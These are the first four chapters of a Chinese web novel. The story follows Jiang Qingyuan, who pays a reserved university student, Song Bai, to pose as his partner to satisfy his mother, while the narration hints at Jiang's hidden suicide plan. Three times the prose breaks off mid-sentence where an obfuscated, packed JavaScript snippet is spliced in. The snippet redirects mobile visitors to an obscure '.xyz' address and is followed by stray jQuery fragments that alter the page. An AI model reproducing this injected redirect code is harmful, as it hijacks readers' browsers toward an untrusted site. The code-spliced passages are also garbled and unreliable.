《但凡有一个楼主说话算数》
1. 01
16骨的黑伞大雁般地张开,静肃冰冷地悬在大红的宅门外。
伞下,方铭华一身黑衣,面无表情,一米九的身高矗立,给身后江南式的园墅又添了几分不可侵犯的压迫。
他撑伞的手一动不动,维持这个姿势从下午两点到现在,已经四个小时了。
八月酷暑的天,又碰上下雨,天地像一床湿透了的厚棉被,方铭华就是被闷在里面的蚂蚁,面上不显,心里已经烦躁得揣了个高压锅。
不怪他静不下来,涧州市已经连着下了大半个月的雨,放眼望去,眼前又只有看了一万遍的草皮和柏油道。
这里是涧州市最贵的一片住宅区,院子和院子之间像牧场蒙古包一样散落着,方铭华就是想唠嗑,除了蚊子,都找不到与之对谈的活物。
又一片厚重乌云笼来,雨丝瞬间锋利许多,方铭华眉头一皱,黑色大伞往下沉了沉,将要坠下来的天空隔绝在了视线之外。
便是在这时,遥远的路尽头,出现了一辆漆黑的宾利。
它顺着盘山小道不慌不慌地开上来,五分钟后,从容矜持地停在了宅门外的迎客松下。
钻石切割的大灯优雅熄灭,前车门打开,一双油光锃亮的黑皮鞋从里面探出来,屈尊落在了湿哒哒的地面上。
一身同样黑色西装的司机,撑着一把黑伞下了车。
他脸上并不比方铭华多什么表情,同样的沉默而拒人千里之外,瞬间让气氛又黏湿凝重了许多。
蔓延的压力里,方铭华挺了挺本就笔直的腰板,静默注视着司机朝车后门走去。
但不等司机走到车后门,门就被人从里面打开了。
一双干净的白鞋,从漆黑车里伸了出来。
伴随它的,是一截笔直干燥的淡蓝牛仔裤。
方铭华视线在这灼眼的蓝上停了一下,再抬眼,就望进了一双带笑的眼睛。
阴雨厚重的潮湿天地间,这双眼睛明亮得格格不入。
无法用言语形容这一幕给方铭华的冲击,眼前的青年身上只穿了一件毫无装饰的宽大白T,比衣服还要白的是他露出来的皮肤,一时竟像随时要化掉的光,泛着干净的鲜活,瞬间将昏晦天地变成了他明亮的拥趸。
他太白了,这样白的人,五官又这样秀致漂亮,便很容易美成一截不近人情的玉,但他偏偏长了一双弧度温圆的笑眼,将他整个人打磨成了柔软可亲的气质。
这么从车里干脆地出现,像一朵栀花莽撞地闯进寒月,带着四月末不晒人的软日光,卷着温暖干爽的微风,一下子扫空了阴郁,让人眉目都是一松快。
方铭华几乎一瞬间就忍不住有了笑意,心里炖着炸弹的高压锅变成了咕噜噜煮着绿豆汤的敞口小铁锅,直觉空气都清爽了许多。
青年抱着一个大大的礼物盒,被司机撑伞罩着走来,一路笑意都未曾从眼角眉梢褪去,就这么停在了方铭华跟前。
那双含笑的眼就落在了他脸上。
“能问一下我爸爸已经到了吗?”
“江先生一个小时前到的,现在正和老板还有小少爷在主厅等着您呢。”
方铭华怔了一下,才回答。
江清圆笑着点点头,又道:“那能麻烦你帮我拿下东西吗?我还没喝完。”
方铭华这才注意到,他礼盒下面的手里,似乎还提着什么。
这种身份的人,随便提的什么都是顶他好几个月工资的东 ,方铭华心中一紧,端出十分架势,十分专业地伸出了一只手,示意江清圆给他。
却不料手里没落着东西,而是他那尽显威严的黑色大伞弯曲的伞柄上,落下了一份小小的重量。
江清圆将东西挂好:“谢谢,麻烦你啦,我最多二十分钟就出来。”
等人进了院子,方铭华才敢小心翼翼地抬高伞柄,去瞻仰一下到底是什么宝贝东西。
他看惯名车豪宅达官显贵的眼睛,对上了一个举着木头棍子的娃娃脸。
娃娃脸身边,一个长方形的热敏标签纸傲然挺立,上面宋体加黑——
抹茶摇摇奶昔,原味,正常冰,加脆啵啵。
市值高达7元。
“………………”
*
怀里的礼物盒并不轻,四十多度的高温里,江清圆抱着它一路穿过中式假山小院,来到主厅时,颈边已经出了一身薄汗。
他抱着礼物盒站在回廊下,拿纸仔细将颈边的汗擦干净,又静站了一会儿,才推开了主厅的门。
一进门,满室凉意扑面而来,顿时将身后潮湿闷热的八月关在了门外。江清圆还没站稳,身上就扑上了一个颇具重量的小身躯,砸得他差点仰倒在地。
“哥哥给我准备了什么礼物!”十岁的江耀抱着他的腿,仰起小脸,眼中期盼的光比头顶的水晶灯还要璀璨。
江清圆艰难稳住自己的身子,脸上笑容更大了,他举起怀里扎着大大蝴蝶结的礼物盒,故意问道:“是谁最近在学冰球?”
江耀一蹦三尺高,高高举起一只胳膊:“是我!”
“那是谁还缺了一双好的冰球鞋?”
这下两只胳膊都举了起来,江耀声音更大:“还是我!!”
江清圆将手里装着冰球鞋的礼物盒放到亲弟弟小山高的礼物堆里:“那就是你的啦!”
这件礼物实打实地送在了江耀心坎上,他高兴得一声尖叫,当即坐在地上,迫不及待地拆了起来。
等他见到冰球鞋真面目,眼睛更是睁得十分大,喜爱得抱着冰球鞋直窜到餐桌旁的兰盛莲面前,大声道:“妈妈!我想要的就是这个牌子!”
兰盛莲视线一直没离开过他身上,此时见小儿子这么开心,温柔地摸了摸他的头:“妈妈本来想这两天就给你买的,没想到被哥哥抢了先,不过宝宝喜欢就好。”
“这个牌子要五万多,”餐桌另一边,一道中年男人的声音响起,“耀耀向来三分钟热度,学冰球也不过一时兴起,指不定上几次课就不滑了,你给他买这么好的鞋,净是浪费。”
这话是对江清圆说的,听起来是在责怪他,却更有一层意思冲着兰盛莲。
江清圆还没说话,江耀先瘪了嘴,冲着中年男人大声道:“爸爸大坏蛋!”
江清圆早已习惯了他们这样,只当听不出话里的阴阳怪气,他笑容不变地入座,隔着五层高的翻糖蛋糕,对中年男人,也就是他爸爸江铸道:“弟弟一年就过一次生日,开心最大嘛。”
兰盛莲刚皱起的眉头才不可见地松了松。
江铸对着他这张笑脸,也再说不下去什么难听话,只生硬道:“人齐了,切蛋糕吧。”
桌上的翻糖蛋糕不过是看着玩,站在不远处的保姆听见,连忙又推来了一个小一点的六寸奶油蛋糕。
江耀接过塑料小刀,兴冲冲地开始切蛋糕,抱着他的兰盛莲突然转头,看向餐桌末尾席:“找到女朋友了吗?”
江清圆放在膝盖上的手指狠狠摁了摁膝盖,迎上兰盛莲目光,笑容不变:“已经在找啦。”
这并不是自己想听到的回答,兰盛莲目光顿时冷了下去。
偌大的客厅一下坠入冰点,江耀切蛋糕的动作都小心了三分。
江清圆深知此刻不能再与她对视下去,假装愧疚地熟练地下头,视线落到了桌面上的手机上。
似是感应到他目光,手机屏幕亮起,一条APP私信消息弹了出来。
江清圆下意识解锁了手机。
【阴暗爬行】楼主在吗,帖子尊嘟假嘟?我来申请被包养咯~
江清圆一怔,顺着这条消息点进APP,顷刻就被99+的红点闪到了眼。
点开红点一看,他昨天发的帖子竟然已经有了数十万的浏览量和近千条回复。
兰盛莲女士让他找对象,他确实是付出行动了,具体为在小红书上发了一条帖子——“有人每月给你五万,让你和他结婚,但他不爱你,你结不结?”
类似活动在这个APP上很多,网友们早已不足为奇,评论区压价与抬价齐飞,热赞里夹杂着问税前还是税后的务实问题,但一看就知大家都是在开玩笑,毕竟但凡智商正常,谁也不会觉得这个是真的。
所以纵然评论区一片火热,私信来询问江清圆具体事项的,【阴暗爬行】还是第一个。
但江清圆千真万确是认真的。
因而面对这个唯一来信,他万分珍惜,哪怕对面发来的这两句不像个正经人,他还是点进了对方主页,准备先进行一个小背调。
【阴暗爬行】的主页只有七八个帖子,和ID不同,帖子内容相当阳光,大部分是一个小机器人的照片。
银灰色小机器人圆头圆脑圆身子,会发光的线条眼睛弯成月牙,或站或坐在桌子上,可爱得厉害。
照片角落散落着一些图纸工具
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074075|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,露出来的桌子一看就是大学宿舍的样式。
江清圆看到这,往【阴暗爬行】主页信息一瞧,果然学校认证那一栏,写的是涧州科技大学——涧州市最好,放全国也是顶尖的大学,王牌人工智能专业更是世界前列。
那这个可爱的小机器人,应当是【阴暗爬行】自己设计的喽。
江清圆这么猜着,点进去了其中热度最高的帖子,虽然也才不过小一百赞,但评论区也有人在问:好可爱,楼主自己做的?出吗?
【阴暗爬行】下面的回复倒像个正常人:
自己做的。不出,准备送人。
大学生,读着这么好的专业,还会自己设计机器人,但是来私信自己求包养。
江清圆抬手摸摸耳朵。
勤工俭学啊?
他这么想着,回复了【阴暗爬行】——
【元宝】是真的,但要有面试。
对面秒回。
【阴暗爬行】「熊猫人狂喜.gif」
【阴暗爬行】面试ok的,分几轮,还有其他流程吗?我超配合的。
【阴暗爬行】「明亮地爬行.gif」
江清圆未曾想他勤工俭学的心如此强烈,正思考要怎么回复,就被一道声音拉回了现实。
兰盛莲的声音不冷不热:“王道长给我说了,孩子必须要在你24岁之前出生,怀孕要10个月,那么你就要在23岁之前找到对象。离你23岁还有4个月,和女方结不结婚不重要,这4个月之内,让她把孩子怀上吧。”
江清圆放在膝盖上的手指摁到泛白,才抬头弯着眼应了下来。
便是他回兰盛莲话的这一会儿,【阴暗爬行】就已经发来了数条消息。
【阴暗爬行】楼主还在线吗?
【阴暗爬行】在吗在吗~
【阴暗爬行】面试时间给一个叭小哥哥~~
江清圆:“……”
这人性格真的好丰富多彩。
【元宝】只有一轮面试,面试后体检,体检没问题后签合同。
足足过了半分钟。
【阴暗爬行】哇哦。
【阴暗爬行】小哥哥,还给签合同,这么刺激的嘛,好喜欢~
江清圆打了个寒颤。
沉默了一分钟,他回复道——
【元宝】是的,我希望我们建立正规有保障的包/养关系。
至于刺激?他还准备给人交五险一金呢,这不更刺激死TA?
【元宝】我是认真的哦,请你仔细考虑一下。
江清圆回复完这句话,就关了手机。
再抬头,对面江耀窝在兰盛莲怀里,正将奶油蛋糕往她脸颊上抹。
兰盛莲女士的洁癖远近闻名,但此时却满眼宠溺的笑,任奶油沾到她脸上。
江铸坐在旁边,面前摆着一块江耀切给他的蛋糕,歪头看着他们母子,常年严肃的脸上,也不自觉带上了笑意。
他的爸爸妈妈,江铸先生和兰盛莲女士已经离婚九年了,平日里以互发消息问候对方祖宗为乐。这九年里,只有每年江耀的生日,两人才能和平地坐下来,为最最爱的小儿子,装上一日相敬如宾的夫妻。
江清圆看了看自己面前,空空如也。
小孩子最能看懂大人心思,江耀没有给他分享自己的生日蛋糕。
不远处,保姆静静看着他,眼中是早已习惯后的可怜。
江清圆心中叹了一口气后,站起了身,对兰盛莲和江铸道:“我还有点事,就先回去啦,爸爸妈妈和弟弟玩得开心。”
江耀在兰盛莲怀里,沾着蛋糕的手朝他挥了挥:“哥哥再见。”
江清圆也笑着给他摆了摆手,正要走,兰盛莲又朝他看了过来。
她似乎是想看见江清圆又不想看见江清圆,视线不自然地在他脸上流转了一圈,开口问:“你能有什么事?”
江清圆向来胡说八道惯了,接话都不打磕绊:“家里着火了。”
兰盛莲:“……”
*
江清圆再次出现在园墅门口时,距离他进去刚刚好二十分钟。
在方铭华佩服的眼神里,江清圆拿回自己剩下那半杯奶茶,低头点开了私信。
【阴暗爬行】的消息已经静静躺了五分钟。
【阴暗爬行】给个面试时间吧。
【阴暗爬行】老公。
2. 02
涧州科技大学地处涧州市中心,南门隔着一条马路,和对面人民公园的相亲角近近相望着。
作为面靠顶尖985这么一座优秀媳婿人才库的相亲角,放眼全市展望全国,涧州市人民公园相亲角也是行业TOP的存在。
可谓是不分日夜皆熙熙攘攘,时时刻刻上演榜下捉婿。
这样一个学术与爱情双开花的宝地,自然成为了江清圆线下选拔对象的首站。
他是从小听着人民公园相亲角里人民们的奇闻异事长大的,知道里面向来一地难求,因而六点就到了相亲角,成功占据了一个好位置。
从他坐的地方抬头看去,视线正对涧科大的南门。
坐拥如此好的战略位置,但从六点到十一点,愣是没一个人对他抛来合作的橄榄枝。
虽然来围观的人络绎不绝。
大半是因为他牌子上的红底白字——每月给你五万,让你和他结婚,但他不爱你,你结不结?
和他小红书帖子的标题一样,却没收获同样的效果,可见线下人们确实比线上社恐许多。
江清圆也很无奈,江耀生日还没过三天,兰盛莲就已经给他发了无数条消息,他粗扫了一眼,扫出了大大的杀人二字。
不是从字缝里看出来的,是打开微信对话框就自动咆哮出来的。
虽然也没打算按照兰盛莲的要求去抛却人性和道德去祸害人,但距离江清圆自己真正要办的事情还要再等四五个月,在这之前,为了活命,应付也要应付完兰盛莲。
线上只有一个不靠谱的【阴暗爬行】,江清圆只能线下碰碰运气。
这就是他此时蹲在这里任人围观的原因。
唯一令人欣慰的是,围观之外,也有少数人,透过牌子,看到了他本人。
“哎呦,小帅哥这么帅,还没得对象哦?”一只带着金戒指的手在江清圆头顶摸了摸,觉得手感不赖,又揉了一把,掏出手机来,“不如看看阿姨女儿,今年27,刚刚研究生毕业,聪明得嘞……”
江清圆抬头看着眼前烫着小卷卷的阿姨,严重怀疑她摸自己的手法是从她脚边泰迪身上练出来的。
小卷卷阿姨不知他内心想法,只看到他抬起头来,一双漂亮的眼睛微弯,动人得厉害,小卷卷阿姨心都被看软了,忍不住抬手又狠狠揉了一把。
不是她积极,实在是在这个六十岁老头敢找二十岁女大学生,裂枣装个盒就能充当新疆和田大枣的男性相亲群体里,眼前这小孩儿好看得太罕见了。
当然要先下手为强。
哪怕他举的牌子显得他智商不高,但是嘛……
“考虑考虑嘛小帅哥,我闺女聪明,你又这么俊,以后生出来的孩子肯定漂亮又有出息!嗯,就算笨点也没关系嘛,阿姨能养得起嘞!”
小卷卷阿姨把掏心话都说了出来。
这话一出,四周一时赞同声四起,更多叔姨往这边围来,热热闹闹地挡住了江清圆所有视线。
江清圆心中叹息一声,伸手拍平被小卷卷阿姨揉翘起的头发,望着她的眼睛无比真挚:“阿姨,对不起啊,我和您女儿应该不太可能。”
“我阳\痿的。”
“……”
热闹了几十年的人民公园相亲角,第一次迎来了天崩地裂的沉默。
小卷卷阿姨惊讶得头发都直了,瞪着江清圆久久说不出话来。
江清圆举高手里的牌子,让上面的字与小卷卷阿姨平视:“要不然我怎么会花钱找对象呢,不是我不能爱,是我爱不起啊。”
噔噔咚。
小卷卷阿姨为首,几十位叔姨不约而同地连退三步。
江清圆还在说:“我也就上午有时间来这找对象,下午还要去男科医院,看了两年了,唉,真是希望渺茫……”
剩下的话被哽咽声吞没。
噔噔噔噔咚。
众人又连退了十几步。
很好,视野开阔了,耳朵也清净了。
江清圆举好牌子,心满意足地继续等待了起来。
一直到十二点,他方圆三米之内,都再没有女儿的父母敢停留。
十二点到了,见到江清圆起身,三米的范围顿时又扩大了些。
无数双或怜悯或可惜的眼神注视着江清圆抱着他的牌子和小马扎离开了相亲角。
其中有好心的人,心中还默念着:多好看的小伙儿,祝他早日康复吧。
江清圆自然没听见这些善良群众的心声,他出了相亲角,直奔涧科大东门外的一家小酒馆而去。
他和【阴暗爬行】约定的面试地点。
面试时间是中午十二点半,现在已经十二点了,江清圆却走得并不积极。
他感同身受地想着,如果他真阳\痿的话,此时去见【阴暗爬行】的心情应该和要去看男科的心情差不多。
在足足被【阴暗爬行】那句老公吓得整整一天不敢回消息后,江清圆本想和这人的沟通就停在那里了。
如果不是第二天【阴暗爬行】突然正常了起来,正常热情地找他敲定面试地点,死死拿捏住了江清圆不会拒绝人的性格……
那么根本不会有接下来这场面试。
江清圆一边走,一边在心中给自己加油打气——等会儿就当请人吃顿饭了,一定要干脆利落地拒绝掉这人,决不能再像答应面试一样优柔寡断。
不然等人住进自己家里,可不止后悔那么简单了。
下了半个多月的雨,今天是难得的一次晴天,江清圆在脑子给自己加了好一会儿油,才后知后觉地回到现实,停下了脚步。
他放眼望去,本该是被太阳明晃晃炙烤着的柏油马路,因两侧种满了梧桐树得到了许多阴凉。
目之所及,白树干绿枝叶,上隔着艳阳,下笼着临街小店的烟火气,两两三三的行人穿梭在斑驳光影里,美好得像从青春剧里剪裁下来的一截空镜。
而让江清圆回过神去看的涧科大南门,已经没有了和他一同六点出现的人。
他应该也是涧科大的学生,江清圆亲眼看到他刷了门禁卡从南校门里走出来,很高的个子,气内敛成一部黑白的默片电影。
他背了一个黑色的书包,挂在挺直脊背上,像战士背着枪。从南门出来后,就从书包里拿出了一沓彩色宣传单,开始向周围路人分发——标准的兼职大学生画像。
因他多数时间面朝南门背对相亲角,江清圆连他长什么样都没看清过。
本来也是一眼就忘的路人,直到江清圆从人群缝隙望见一个妈妈带着两个小男孩从他面前走过去。
两个小男孩一高一矮,哥哥紧拽着妈妈衣角跟在她身边,弟弟稍稍落后他们一两步。就在江清圆看见他们那刻,弟弟没走稳,一下摔趴在了地上。
五六岁的小孩子没有哭,反而努力地想要爬起来,但妈妈和哥哥明显没有注意到他摔倒,依旧如常地往前走去。
距离越拉越大,弟弟一两下没爬起来,明显地慌了神。
就在江清圆要起身冲过去的时候,看见发宣传单的他弯腰将小男孩抱了起来。
从缝隙里窥去,这一幕也遥远无声地像旧电影里的一个长镜头。
江清圆一直眼巴巴地看着他抱着小男孩将他送回哥哥和妈妈身边,注意力才重新回到相亲角。
此刻再去看南门,已经没了那截笔直的背影。
江清圆眨眨眼,抱紧怀里的牌子,转身离开了空荡荡的校门。
*
东门离南门并不远,江清圆提前十分钟就到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074076|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了约定的小酒馆。
进小酒馆前,江清圆站在店外镜子前站定——里面的人穿得像个普通大学生,因为在外面晒了一上午,脸颊有些泛红,怀里还抱着一块荒唐的牌子和一只小马扎。
怎么看怎么都不像每个月能掏出来五万块钱给人的富家公子哥。
对【阴暗爬行】说自己是个骗子的可信度简直百分百,江清圆很满意。
怀着这样的自信,他推开了小酒馆的门。
酒馆里光线猛得暗了下去,每个人都影影绰绰,江清圆仔细找了好一会儿,才找到约定好的被两盆极为茂盛的天堂鸟围着,像一个半开放小包间的25号桌。
绕过天堂鸟,江清圆看见背对着他的位置上已经坐了一个人。
【阴暗爬行】到得竟然比他早。
江清圆连忙快步走到对面位置:“对不起我来晚啦……”
他话没说完,就愣在了那里。
这是一个四座的桌,【阴暗爬行】坐在那里,身旁的空位上,正端端正正放着一只黑色的书包。
江清圆错愕地看见了一张陌生的脸。
和他远观的内敛不同,离得近了,哪怕是在昏暗柔和的灯光下,也能一眼感受到他凌厉五官带来的进攻气场。
他有一双和江清圆截然不同的上扬的眼睛,黑而浓的眼珠注视过来时,配着斜飞入鬓的眉毛,很容易让人产生被豹子类动物盯上的错觉。
哪怕他的五官细看上去其实很俊朗。
这人应该非常不好相处,还是江清圆对他的第一印象。
表面生人勿进,网上喊人老公,变/态吧?
这是江清圆对他的第二印象。
此等变态,他等会儿还要拒绝人家,让人白跑一趟,不会被揍吧?
这是江清圆对他的第三印象。
这么想着,江清圆坐下的动作都小心了几分,屁股都只挨了一半卡座——万一人一会儿真要揍他,好逃跑。
至于来之前内心想象的勇敢坚毅的、干练利落的、泰山崩于前而色不变的自己,只一个照面,就被杀了个干干净净、打回原形、不见踪影。
“你好,”江清圆刚坐下,一只修长有力的手就伸到了他面前,“我叫宋柏。”
江清圆也连忙轻轻回握了一下:“你好。”
……
沉默。
良久的沉默。
引得送餐路过的老板很是担忧地望他们桌忘了好几眼。
这架势,谁欠谁钱啊?
就在江清圆放在膝盖上的手都要扣烂了,才给自己重新注入好勇气,准备开口结束这场沉默。
也就是这时,对面宋柏开口了:“你是不是要对我介绍一下,你叫什么名字?”
“哦,”江清圆猛地抬头,“我叫江清圆。”
这次对视,他看见了宋柏眼中的笑意。
他应当是不常笑,嘴角扬起的弧度很是生涩,但这么笑起来,立马冲淡了身上的攻击性,无害开朗了许多——像一个真正的大学生。
江清圆感受到他的友善,浑身一松,脑子也找回来了几分,后知后觉地庆幸,幸好眼前的人一上午是背对着自己发传单,没看到听到他在相亲角的胡说八道。
不然丢人可就丢大了。
悄悄把牌子往桌下拽了拽,江清圆也弯眼回了宋柏一个笑,就见宋柏指了指他桌前,江清圆低头一瞧,才看见自己面前摆着一份番茄意面,和一杯冰镇橙汁。
这是一个酒吧,意面和橙汁摆在这里,简直像麦当劳儿童套餐摆在八十大寿的主桌上一样突兀。
“这是给你点的。”江清圆没看到的地方,宋柏笑意又大了一些。
“我看你在相亲角呆了一上午,应该还没有吃午饭。”
3. 03
江清圆感觉足足过了一辈子那么长,才把自己出窍的灵魂找回来。
“谢谢你,我不饿。”他扯出一个微笑,对宋柏表达了自己发自社死的感激之情。
宋柏放在桌上的指尖蜷缩了一下。
这是他有些无措的表现。
日常里能超出他掌控的事情向来比较少,此时对面江清圆的拒绝算一件。
沉默片刻,宋柏抬眼,看着江清圆,真挚道:“对不起。”
江清圆有些错愕地啊了一声。
他的拒绝伤害到宋柏了?
“我说的是另一件事,”宋柏声音平缓但清晰地解释道,“我是【阴暗爬行】,但第一天给你聊天的人是我室友。”
“我很想得到这份工作,但我不太擅长与人交流,室友看到后提出帮我沟通,所以第一天和你聊天的是他。”
只不过室友没想到宋柏是认真的,还以为是恶作剧,一句老公,吓得江清圆一整个彻底断联。
“是我没有和他说明白,”宋柏微微挺了挺脊背,认真看着江清圆,“因而给你造成了不好的感受。 ”
宋柏看着他,又认真说了一遍:“对不起。”
这么珍重地道歉,倒让江清圆一时不知道怎么回复了,他自己的帖子他自己知道,吸引过来1.0版【阴暗爬行】属实是正常现象。
就在江清圆纠结的这一会儿,就听见对面宋柏又说:“但我真的很想得到这份工作。”
江清圆怔了一下,忍不住笑了: “没关系。”
这么一笑,两人之间的紧张气氛明显一松。
刚刚的尴尬消失了一点,江清圆抬手摸了摸耳朵,视线终于敢从宋柏的脸上划到其他地方。
然后就看到了宋柏洗得微微泛白的衣领。
江清圆心中哦了一声,果然和他猜测的一样——勤工俭学。
江清圆心中仅剩的那一点儿害怕也没了,宋柏这种家里情况不好但能凭自身努力考上这么好大学的学生,身上带点拒人于千里之外的冷淡傲气,简直太正常不过了。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074077|179295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又想起宋柏在校门外扶小孩的那一幕。
脑子七弯八拐得转了好几个弯,江清圆反而担心起了宋柏:“你不怕我是个骗子吗?”
毕竟整件事看起来确实像场骗局,尤其他今天还穿得这么像个骗子。
宋柏迎着他的目光,很容易看见了他浮在眼眸中的关切,这是江清圆从进来后到现在,第一次笑意从脸上褪下去。
宋柏摇了摇头,江清圆就重新笑了起来,宋柏看着,心想他真适合笑啊,干净又快活,有着能让人柔软起来的力量。
不止他一个人这么觉得,即便他们的卡座被两盆天堂鸟遮挡着,小酒馆的灯光又昏暗,但这么一会儿,也有无数打量的目光落到江清圆身上。
这让宋柏觉得,江清圆没认出自己,简直是太正常不过的事情。
毕竟他看起来生活得那么精彩,一派兴致勃勃,与世界盎然交手的姿态。
于是宋柏也就万分想不明白,这么一个人,怎么会有如此坚定、决绝的——
自杀计划。
4. 04
涧州科技大学,正门外。
方铭华人高马大地站在保安亭旁,没穿西装,看上去不再像常出入高端场所,而是很熟练打家劫舍。
保安亭里,看门大爷握着保安棍,已经盯着他吹完了一瓷缸普洱;保安亭外,来往学生的注目礼也不曾断过。
看见又一堆学生围来,方铭华抬手将鼻梁上的墨镜一拉,露出眼睛,两道凌厉的眉一皱,狠狠扫了一圈,刚聚成堆的学生们就蒲公英似的炸呼呼飘远了。
但他敢吓唬大学生,却不敢稍移视线,去瞪江清圆。
江清圆就站在他前侧,方铭华为数不多的几次偷看里,都只瞧见了他因低垂着头,露出的一截白莹莹后颈来。
方铭华被这白晃得受不了,找出墨镜戴上,心里直犯嘀咕——谁能猜到周末兼职去帮人搬家,结果临时雇主正好就是老板的儿子?
他也没真把地球当个村啊。
来时路上,作为一个搬家师傅,方铭华毫无负担地打听起了八卦:“小老板,你这是要给谁接家里去啊?”
透过后视镜,陷在漆黑后座里,雪白雪白的小老板睁开眼,朝他微微一笑:“我对象。”
这事儿啊,常见常见。
等车停到涧科大门前,方铭华才深深地沉默了。
不愧是万恶的资本家,每天都行走在人性的边缘,小老板瞧着这么一个干干净净的人,竟然也会干包/养大学生的龌龊事。
方铭华谴责完江清圆的人品,又忍不住好奇,小老板这么好看的一个人,相中的对象得是多漂亮的一个美女。
然后他就看见,一个身型不输他的男大,推着一个大大的行李箱,停在了江清圆面前。
方铭华:“……”
老天爷,这是什么鬼热闹。
江清圆看见宋柏只有一个行李箱,问道:“就这些吗?”
江清圆雇方铭华过来,就是为了给宋柏搬家——宋柏这种情况的学生,一定不舍得花钱找搬家师傅,他既“包养”了人家,总不能让人自己一趟趟挪到他家去。
七八米外的公交站牌下,还停着一辆面包车和三四个穿着工服的搬家师傅,也是江清圆找来的。
“宿舍东西少,一个行李箱就差不多了。”宋柏看着他,眼前人今天穿了一件颜色极淡的蓝色衬衫,抬头望着他,阳光下琥珀色的眼睛里带着惯常的笑意。
但宋柏还是一眼看到了苍白,薄薄一层覆在江清圆身上,让他像烈日柏油路上的一滴水,带着即将蒸发掉的不真实感。
宋柏忍不住问:“你生病了?”
他这话一出,就见江清圆眼中的笑意一顿,但也只是一瞬,随即是更大的笑意,和很轻的声音:“没想到这都被你发现了。”
“其实我是一个杀手,”江清圆语气万分认真诚恳,“刚刚处理了一个订单,好久没干活了,一时不太适应而已。”
“不然你以为我每个月给你发工资的钱哪来的?”见宋柏空了一瞬的脸,江清圆忍不住笑出声来,“走吧,车在那。”
他家离涧科大并不远,开车十分钟的路程,坐落在一个老别墅区里,一进去,世界就被按下了静音键,再听不见外面城市喧嚣,只有梧桐树望不尽的苍绿。
车一直到最后一排的最里面一栋才停下,宋柏行李少,其他搬家师傅江清圆给了工资后就让人走了,只有方铭华,还领了一份司机的工资,才跟到这里来。
此时方铭华坐在驾驶位上,放下车窗,环视了一圈周围。
今天日子阳光都好,斜对面的小花园里,还有人在举行婚礼。
看了几眼热闹后,方铭华超前看去,江清圆的小别墅,就静静地矗立在那里。
别墅并不新,白漆的外墙有些边缘已经发灰,二楼的阳台石膏柱也有些褪色,但收拾得很干净,一楼的小花园,草坪翠绿清爽。
倒是清爽舒服,就是感觉不到什么人气。
方铭华在老板兰盛莲手下也工作四五年了,多少了解到一些这位雷厉风行老板的过往,知道她和江铸离婚前,就住在市中心的一栋小别墅里。
这是她和江铸用做生意赚来的第一桶金买的,后来离婚分家后,才搬走。
方铭华望着江清圆开门的背影,看来这房子是留给小老板了。
他这么想着,又有些奇怪,按理说兰盛莲和江铸离婚时,江清圆还未成年,把他一个人扔在这里,夫妻两个也放心?
但这都不是他一个保镖或搬家师傅该管的,方铭华按了下车喇叭,伸出头喊了声:“小老板,没事我就先走喽。”
江清圆正好开完门,闻言朝他笑着摆摆手。
车旁,宋柏收了手机,静静看向他。
从车上下来后,人比刚才又苍白了几分,已然将要从这个世界消失。
江清圆没注意到宋柏的视线,他招呼人进来:“你看一下工作环境,如果可以,我们就签合同。”
宋柏进了屋子,第一眼看到的是正对面一个大大的落地窗,漆黑窗棂,雪白薄纱窗帘,伴着一架胡桃木色的钢琴。
钢琴上放着一个同色的实木相框,一个年轻的红裙女人坐在里面,满面温柔笑意地抱着怀里四五岁的男孩。
男孩长着和江清圆八九分像的眉眼。
江清圆见宋柏视线落在画像上,对他道:“要不我带你转转?”
“不用了,”宋柏不再理会相框,重新看向江清圆,“我很满意,我们签合同吧。”
*
“这里是合同,你看看,有五险一金,包住不包吃,”江清圆指了指一楼的中式和西式厨房位置,“吃你自己可以做,也可以点外卖,小区外面就是商圈,吃的挺多的。”
“下午茶水果什么的,我自己不吃,如果你有要求,可以每月多给你一千元餐补,你自己买着吃。”
江清圆干脆道:“上面是我给到你的,也有几项要求是你要遵守的,你听下能否接受。”
两人此时正坐在一楼的吧台上,宋柏伸手倒了一杯水,推到了江清圆手边:“你说。”
江清圆搭在吧台上的手条件反射地撤回了腿上,反应过来后才重新握上水杯:“第一条,我住二楼,你住一楼。一楼卧室、厨房、卫生间都有,已经能满足你的日常需求,所以非必要请不要上二楼。我是编剧工作,出了偶尔出门,也不会下楼打扰到你。”
“第二条,卫生我雇了一个阿姨,两天来打扫一次,你自己的卧室如果介意,就自己打扫,如果不介意,可以让阿姨一起打扫。”
“第三条,我小姨和表妹不时会来看我,不会住,但会在一楼吃饭。她们不吵,希望你不要介意。”
“除了她们,我还有一个朋友,现在正在国外,如果回来也可能会有这种情况。”
